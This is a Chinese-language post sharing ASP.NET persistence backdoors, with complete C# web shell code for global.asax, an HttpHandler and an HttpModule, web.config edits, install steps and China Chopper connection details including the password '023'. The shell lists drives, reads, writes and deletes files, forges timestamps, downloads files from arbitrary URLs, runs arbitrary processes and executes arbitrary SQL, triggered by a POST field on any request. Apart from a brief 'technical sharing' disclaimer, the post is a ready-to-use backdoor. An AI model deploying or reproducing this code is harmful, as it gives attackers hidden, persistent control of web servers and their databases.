ASP.NET global.asax、httpHandlers、httpModules 后门-园长

特别注意:需要特别小心配置任何一个误操作都可能导致网站彻底崩溃,对于新手操作危险系数很高。这里只是技术分享,请最好先在本地测试。如有发现BUG与我联系 :)

一:global.asax

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<%@ Application Language= "C#" %>
 
<script RunAt= 'server' >
 
     void Application_Start( object sender, EventArgs e)
     {
         //在应用程序启动时运行的代码
 
     }
 
     void Application_End( object sender, EventArgs e)
     {
         //在应用程序关闭时运行的代码
 
     }
 
     void Application_Error( object sender, EventArgs e)
     {
 
 
     }
 
     void Session_Start( object sender, EventArgs e)
     {
         //在新会话启动时运行的代码
 
     }
 
     void Session_End( object sender, EventArgs e)
     {
         //在会话结束时运行的代码。
         // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
         // InProc 时,才会引发 Session_End 事件。如果会话模式
         //设置为 StateServer 或 SQLServer,则不会引发该事件。
 
     }
 
     void CP( string S, string D)
     {
         if (System.IO.Directory.Exists(S))
         {
             System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(S);
             System.IO.Directory.CreateDirectory(D);
             foreach (System.IO.FileInfo F in m.GetFiles())
             {
                 System.IO.File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
             }
             foreach (System.IO.DirectoryInfo F in m.GetDirectories())
             {
                 CP(S + "\\" + F.Name, D + "\\" + F.Name);
             }
         }
         else
         {
             System.IO.File.Copy(S, D);
         }
     }
 
     void EvalRequest( string action)
     {
         HttpContext context = HttpContext.Current;
         HttpRequest request = context.Request;
         HttpResponse response = context.Response;
 
         string Z = action;
         if (Z != "" )
         {
             string Z1 = request.Form[ "Z1" ];
             string Z2 = request.Form[ "Z2" ];
             string R = "" ;
             try
             {
                 switch (Z)
                 {
                     case "A" :
                         {
                             string [] c = System.IO.Directory.GetLogicalDrives();
                             R = string .Format( "{0}\t" , context.Server.MapPath( "~" ));
                             for ( int i = 0; i < c.Length; i++)
                                 R += c[i][0] + ":" ;
                             break ;
                         }
                     case "B" :
                         {
                             System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(Z1);
                             foreach (System.IO.DirectoryInfo D in m.GetDirectories())
                             {
                                 R += string .Format( "{0}/\t{1}\t0\t-\n" , D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString( "yyyy-MM-dd hh:mm:ss" ));
                             }
                             foreach (System.IO.FileInfo D in m.GetFiles())
                             {
                                 R += string .Format( "{0}\t{1}\t{2}\t-\n" , D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString( "yyyy-MM-dd hh:mm:ss" ), D.Length);
                             }
                             break ;
                         }
                     case "C" :
                         {
                             System.IO.StreamReader m = new System.IO.StreamReader(Z1, Encoding.Default);
                             R = m.ReadToEnd();
                             m.Close();
                             break ;
                         }
                     case "D" :
                         {
                             System.IO.StreamWriter m = new System.IO.StreamWriter(Z1, false , Encoding.Default);
                             m.Write(Z2);
                             R = "1" ;
                             m.Close();
                             break ;
                         }
                     case "E" :
                         {
                             if (System.IO.Directory.Exists(Z1))
                                 System.IO.Directory.Delete(Z1, true );
                             else
                                 System.IO.File.Delete(Z1);
                             R = "1" ;
                             break ;
                         }
                     case "F" :
                         {
                             response.Clear();
                             response.Write( "\x2D\x3E\x7C" );
                             response.WriteFile(Z1);
                             response.Write( "\x7C\x3C\x2D" );
                             goto End;
                         }
                     case "G" :
                         {
                             byte [] B = new byte [Z2.Length / 2];
                             for ( int i = 0; i < Z2.Length; i += 2)
                             {
                                 B[i / 2] = ( byte )Convert.ToInt32(Z2.Substring(i, 2), 16);
                             }
                             System.IO.FileStream fs = new System.IO.FileStream(Z1, System.IO.FileMode.Create);
                             fs.Write(B, 0, B.Length);
                             fs.Close();
                             R = "1" ;
                             break ;
                         }
                     case "H" :
                         {
                             CP(Z1, Z2);
                             R = "1" ;
                             break ;
                         }
                     case "I" :
                         {
                             if (System.IO.Directory.Exists(Z1))
                             {
                                 System.IO.Directory.Move(Z1, Z2);
                             }
                             else
                             {
                                 System.IO.File.Move(Z1, Z2);
                             }
                             break ;
                         }
                     case "J" :
                         {
                             System.IO.Directory.CreateDirectory(Z1);
                             R = "1" ;
                             break ;
                         }
                     case "K" :
                         {
                             DateTime TM = Convert.ToDateTime(Z2);
                             if (System.IO.Directory.Exists(Z1))
                             {
                                 System.IO.Directory.SetCreationTime(Z1, TM);
                                 System.IO.Directory.SetLastWriteTime(Z1, TM);
                                 System.IO.Directory.SetLastAccessTime(Z1, TM);
                             }
                             else
                             {
                                 System.IO.File.SetCreationTime(Z1, TM);
                                 System.IO.File.SetLastWriteTime(Z1, TM);
                                 System.IO.File.SetLastAccessTime(Z1, TM);
                             }
                             R = "1" ;
                             break ;
                         }
                     case "L" :
                         {
                             System.Net.HttpWebRequest RQ = (System.Net.HttpWebRequest)System.Net.WebRequest.Create( new Uri(Z1));
                             RQ.Method = "GET" ;
                             RQ.ContentType = "application/x-www-form-urlencoded" ;
                             System.Net.HttpWebResponse WB = (System.Net.HttpWebResponse)RQ.GetResponse();
                             System.IO.Stream WF = WB.GetResponseStream();
                             System.IO.FileStream FS = new System.IO.FileStream(Z2, System.IO.FileMode.Create, System.IO.FileAccess.Write);
                             int i;
                             byte [] buffer = new byte [1024];
                             while ( true )
                             {
                                 i = WF.Read(buffer, 0, buffer.Length);
                                 if (i < 1) break ; FS.Write(buffer, 0, i);
                             }
                             WF.Close();
                             WB.Close();
                             FS.Close();
                             R = "1" ;
                             break ;
                         }
                     case "M" :
                         {
                             System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
                             System.Diagnostics.Process e = new System.Diagnostics.Process();
                             System.IO.StreamReader OT, ER;
                             c.UseShellExecute = false ;
                             c.RedirectStandardOutput = true ;
                             c.RedirectStandardError = true ;
                             e.StartInfo = c;
                             c.Arguments = string .Format( "{0} {1}" , Z1.Substring(0, 2), Z2);
                             e.Start(); OT = e.StandardOutput;
                             ER = e.StandardError;
                             e.Close();
                             R = OT.ReadToEnd() + ER.ReadToEnd();
                             break ;
                         }
                     case "N" :
                         {
                             String strDat = Z1.ToUpper();
                             System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(Z1);
                             Conn.Open();
                             R = Conn.Database + "\t" ;
                             Conn.Close(); break ;
                         }
                     case "O" :
                         {
                             String[] x = Z1.Replace( "\r" , "" ).Split( '\n' );
                             String strConn = x[0], strDb = x[1];
                             System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
                             Conn.Open();
                             System.Data.DataTable dt = Conn.GetSchema( "Columns" );
                             Conn.Close();
                             for ( int i = 0; i < dt.Rows.Count; i++)
                             {
                                 R += String.Format( "{0}\t" , dt.Rows[i][2].ToString());
                             }
                             break ;
                         }
                     case "P" :
                         {
                             String[] x = Z1.Replace( "\r" , "" ).Split( '\n' ), p = new String[4];
                             String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb;
                             p[2] = strTable;
                             System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
                             Conn.Open();
                             System.Data.DataTable dt = Conn.GetSchema( "Columns" , p);
                             Conn.Close();
                             for ( int i = 0; i < dt.Rows.Count; i++)
                             {
                                 R += String.Format( "{0} ({1})\t" , dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
                             }
                             break ;
                         }
                     case "Q" :
                         {
                             String[] x = Z1.Replace( "\r" , "" ).Split( '\n' );
                             String strDat, strConn = x[0], strDb = x[1];
                             int i, c;
                             strDat = Z2.ToUpper();
                             System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
                             Conn.Open();
                             if (strDat.IndexOf( "SELECT " ) == 0 || strDat.IndexOf( "EXEC " ) == 0 || strDat.IndexOf( "DECLARE " ) == 0)
                             {
                                 System.Data.SqlClient.SqlDataAdapter OD = new System.Data.SqlClient.SqlDataAdapter(Z2, Conn);
                                 System.Data.DataSet ds = new System.Data.DataSet();
                                 OD.Fill(ds);
                                 if (ds.Tables.Count > 0)
                                 {
                                     System.Data.DataRowCollection rows = ds.Tables[0].Rows;
                                     for (c = 0; c < ds.Tables[0].Columns.Count; c++)
                                     {
                                         R += String.Format( "{0}\t|\t" , ds.Tables[0].Columns[c].ColumnName.ToString());
                                     }
                                     R += "\r\n" ;
                                     for (i = 0; i < rows.Count; i++)
                                     {
                                         for (c = 0; c < ds.Tables[0].Columns.Count; c++)
                                         {
                                             R += String.Format( "{0}\t|\t" , rows[i][c].ToString());
                                         }
                                         R += "\r\n" ;
                                     }
                                 }
                                 ds.Clear();
                                 ds.Dispose();
                             }
                             else
                             {
                                 System.Data.SqlClient.SqlCommand cm = Conn.CreateCommand();
                                 cm.CommandText = Z2;
                                 cm.ExecuteNonQuery();
                                 R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n" ;
                             }
                             Conn.Close();
                             break ;
                         }
                     default :
                         goto End;
                 }
             }
             catch (Exception E)
             {
                 R = "ERROR:// " + E.Message;
             }
             response.Write( "\x2D\x3E\x7C" + R + "\x7C\x3C\x2D" );
         End: ;
         }
     }
 
     //在接收到一个应用程序请求时触发。对于一个请求来说,它是第一个被触发的事件,请求一般是用户输入的一个页面请求(URL)。
     void Application_BeginRequest( object sender, EventArgs evt)
     {
         string action = Request.Form[ "023" ];
         if (action != null )
         {
             EvalRequest(action);
             Response.End();
         }
     }
 
</script>

二、httpHandlers

修改web.config,添加或者修改httpHandlers:

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< httpHandlers >
    < add path = "*.api" verb = "*" type = "WooYun.CustomizeHttpHandler" />
</ httpHandlers >

如果已经存在 httpHandlers 则在标签内添加,如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里,但是有一点需要特别注意:<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。

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< system.webServer >
     < modules runAllManagedModulesForAllRequests = "true" />
</ system.webServer >

三:httpModules

相比修改httpHandlers显然这种办法更加的有效且安全一些。但是一定要把这个httpModule的顺序配置到httpModules的第一个。修改web.config,添加或者修改httpHandlers:

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< httpModules >
         < add name = "WooYun" type = "WooYun.CustomizeHttpModule" />
</ httpModules >

Customize.cs代码:

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using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.IO;
using System.Text;
using System.Net;
using System.Diagnostics;
using System.Data.SqlClient;
 
namespace WooYun
{
 
     public class Customize
     {
 
         public static void CP( string S, string D)
         {
             if (Directory.Exists(S))
             {
                 DirectoryInfo m = new DirectoryInfo(S);
                 Directory.CreateDirectory(D);
                 foreach (FileInfo F in m.GetFiles())
                 {
                     File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
                 }
                 foreach (DirectoryInfo F in m.GetDirectories())
                 {
                     CP(S + "\\" + F.Name, D + "\\" + F.Name);
                 }
             }
             else
             {
                 File.Copy(S, D);
             }
         }
 
         public static void Request()
         {
             HttpContext context = HttpContext.Current;
             HttpRequest request = context.Request;
             HttpResponse response = context.Response;
             string Z = request.Form[ "023" ];
             if (Z != "" )
             {
                 string Z1 = request.Form[ "Z1" ];
                 string Z2 = request.Form[ "Z2" ];
                 string R = "" ;
                 try
                 {
                     switch (Z)
                     {
                         case "A" :
                             {
                                 string [] c = Directory.GetLogicalDrives();
                                 R = string .Format( "{0}\t" , context.Server.MapPath( "/" ));
                                 for ( int i = 0; i < c.Length; i++)
                                     R += c[i][0] + ":" ;
                                 break ;
                             }
                         case "B" :
                             {
                                 DirectoryInfo m = new DirectoryInfo(Z1);
                                 foreach (DirectoryInfo D in m.GetDirectories())
                                 {
                                     R += string .Format( "{0}/\t{1}\t0\t-\n" , D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString( "yyyy-MM-dd hh:mm:ss" ));
                                 }
                                 foreach (FileInfo D in m.GetFiles())
                                 {
                                     R += string .Format( "{0}\t{1}\t{2}\t-\n" , D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString( "yyyy-MM-dd hh:mm:ss" ), D.Length);
                                 }
                                 break ;
                             }
                         case "C" :
                             {
                                 StreamReader m = new StreamReader(Z1, Encoding.Default);
                                 R = m.ReadToEnd();
                                 m.Close();
                                 break ;
                             }
                         case "D" :
                             {
                                 StreamWriter m = new StreamWriter(Z1, false , Encoding.Default);
                                 m.Write(Z2);
                                 R = "1" ;
                                 m.Close();
                                 break ;
                             }
                         case "E" :
                             {
                                 if (Directory.Exists(Z1))
                                     Directory.Delete(Z1, true );
                                 else
                                     File.Delete(Z1);
                                 R = "1" ;
                                 break ;
                             }
                         case "F" :
                             {
                                 response.Clear();
                                 response.Write( "\x2D\x3E\x7C" );
                                 response.WriteFile(Z1);
                                 response.Write( "\x7C\x3C\x2D" );
                                 goto End;
                             }
                         case "G" :
                             {
                                 byte [] B = new byte [Z2.Length / 2];
                                 for ( int i = 0; i < Z2.Length; i += 2)
                                 {
                                     B[i / 2] = ( byte )Convert.ToInt32(Z2.Substring(i, 2), 16);
                                 }
                                 FileStream fs = new FileStream(Z1, FileMode.Create);
                                 fs.Write(B, 0, B.Length);
                                 fs.Close();
                                 R = "1" ;
                                 break ;
                             }
                         case "H" :
                             {
                                 CP(Z1, Z2); R = "1" ;
                                 break ;
                             }
                         case "I" :
                             {
                                 if (Directory.Exists(Z1))
                                 {
                                     Directory.Move(Z1, Z2);
                                 }
                                 else
                                 {
                                     File.Move(Z1, Z2);
                                 }
                                 break ;
                             }
                         case "J" :
                             {
                                 Directory.CreateDirectory(Z1);
                                 R = "1" ;
                                 break ;
                             }
                         case "K" :
                             {
                                 DateTime TM = Convert.ToDateTime(Z2);
                                 if (Directory.Exists(Z1))
                                 {
                                     Directory.SetCreationTime(Z1, TM);
                                     Directory.SetLastWriteTime(Z1, TM);
                                     Directory.SetLastAccessTime(Z1, TM);
                                 }
                                 else
                                 {
                                     File.SetCreationTime(Z1, TM);
                                     File.SetLastWriteTime(Z1, TM);
                                     File.SetLastAccessTime(Z1, TM);
                                 }
                                 R = "1" ;
                                 break ;
                             }
                         case "L" :
                             {
                                 HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create( new Uri(Z1));
                                 RQ.Method = "GET" ;
                                 RQ.ContentType = "application/x-www-form-urlencoded" ;
                                 HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
                                 Stream WF = WB.GetResponseStream();
                                 FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
                                 int i;
                                 byte [] buffer = new byte [1024];
                                 while ( true )
                                 {
                                     i = WF.Read(buffer, 0, buffer.Length);
                                     if (i < 1) break ; FS.Write(buffer, 0, i);
                                 }
                                 WF.Close();
                                 WB.Close();
                                 FS.Close();
                                 R = "1" ;
                                 break ;
                             }
                         case "M" :
                             {
                                 System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
                                 System.Diagnostics.Process e = new System.Diagnostics.Process();
                                 System.IO.StreamReader OT, ER;
                                 c.UseShellExecute = false ;
                                 c.RedirectStandardOutput = true ;
                                 c.RedirectStandardError = true ;
                                 e.StartInfo = c;
                                 c.Arguments = string .Format( "{0} {1}" , Z1.Substring(0, 2), Z2);
                                 e.Start();
                                 OT = e.StandardOutput;
                                 ER = e.StandardError;
                                 e.Close();
                                 R = OT.ReadToEnd() + ER.ReadToEnd();
                                 break ;
                             }
                         case "N" :
                             {
                                 String strDat = Z1.ToUpper();
                                 SqlConnection Conn = new SqlConnection(Z1);
                                 Conn.Open();
                                 R = Conn.Database + "\t" ;
                                 Conn.Close();
                                 break ;
                             }
                         case "O" :
                             {
                                 String[] x = Z1.Replace( "\r" , "" ).Split( '\n' );
                                 String strConn = x[0], strDb = x[1];
                                 SqlConnection Conn = new SqlConnection(strConn);
                                 Conn.Open();
                                 DataTable dt = Conn.GetSchema( "Columns" );
                                 Conn.Close();
                                 for ( int i = 0; i < dt.Rows.Count; i++)
                                 {
                                     R += String.Format( "{0}\t" , dt.Rows[i][2].ToString());
                                 }
                                 break ;
                             }
                         case "P" :
                             {
                                 String[] x = Z1.Replace( "\r" , "" ).Split( '\n' ), p = new String[4];
                                 String strConn = x[0], strDb = x[1], strTable = x[2];
                                 p[0] = strDb;
                                 p[2] = strTable;
                                 SqlConnection Conn = new SqlConnection(strConn);
                                 Conn.Open();
                                 DataTable dt = Conn.GetSchema( "Columns" , p);
                                 Conn.Close();
                                 for ( int i = 0; i < dt.Rows.Count; i++)
                                 {
                                     R += String.Format( "{0} ({1})\t" , dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
                                 }
                                 break ;
                             }
                         case "Q" :
                             {
                                 String[] x = Z1.Replace( "\r" , "" ).Split( '\n' );
                                 String strDat, strConn = x[0], strDb = x[1];
                                 int i, c;
                                 strDat = Z2.ToUpper();
                                 SqlConnection Conn = new SqlConnection(strConn);
                                 Conn.Open();
                                 if (strDat.IndexOf( "SELECT " ) == 0 || strDat.IndexOf( "EXEC " ) == 0 || strDat.IndexOf( "DECLARE " ) == 0)
                                 {
                                     SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
                                     DataSet ds = new DataSet(); OD.Fill(ds);
                                     if (ds.Tables.Count > 0)
                                     {
                                         DataRowCollection rows = ds.Tables[0].Rows;
                                         for (c = 0; c < ds.Tables[0].Columns.Count; c++)
                                         {
                                             R += String.Format( "{0}\t|\t" , ds.Tables[0].Columns[c].ColumnName.ToString());
                                         }
                                         R += "\r\n" ; for (i = 0; i < rows.Count; i++)
                                         {
                                             for (c = 0; c < ds.Tables[0].Columns.Count; c++)
                                             {
                                                 R += String.Format( "{0}\t|\t" , rows[i][c].ToString());
                                             }
                                             R += "\r\n" ;
                                         }
                                     }
                                     ds.Clear();
                                     ds.Dispose();
                                 }
                                 else
                                 {
                                     SqlCommand cm = Conn.CreateCommand();
                                     cm.CommandText = Z2;
                                     cm.ExecuteNonQuery();
                                     R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n" ;
                                 }
                                 Conn.Close();
                                 break ;
                             }
                         default :
                             goto End;
                     }
                 }
                 catch (Exception E)
                 {
                     R = "ERROR:// " + E.Message;
                 }
                 response.Write( "\x2D\x3E\x7C" + R + "\x7C\x3C\x2D" );
             End: ;
             }
             response.End();
         }
     }
 
     public class CustomizeHttpHandler : IHttpHandler
     {
         public bool IsReusable
         {
             get
             {
                 return true ;
             }
         }
 
         public void ProcessRequest(HttpContext context)
         {
             Customize.Request();
         }
     }
 
     public class CustomizeHttpModule : IHttpModule
     {
 
         #region IHttpModule 成员
 
         public void Dispose()
         {
 
         }
 
         public void Init(HttpApplication context)
         {
             context.BeginRequest += new EventHandler(context_BeginRequest);
         }
 
         void context_BeginRequest( object sender, EventArgs e)
         {
             Customize.Request();
         }
 
         #endregion
     }
 
}

四:安装方法

global.asax是不需要编译的,所以直接忽略。

httpHandlers和httpModules配置方式:

1、自行编译上面的cs文件dll

2、复制dll到bin目录

3、修改上述配置,并仔细检查

或:

1、直接新建个Customize.cs文件

2、复制Customize.cs文件到App_Code目录

3、修改上述配置,并仔细检查

连接:

1、菜刀连接的时候必须选Customize:

2、httpHandlers 可以自己指定后缀,比如你配置了.api请求那么可以http://xx.com/123456.api做为shell地址,可能会有不能拦截除aspx的情况

3、httpModules可以随便访问一个只要不是静态文件的链接(比如jpg文件不允许被POST) 可以访问:http://xx.com/123456.xxx

4、连接密码:023


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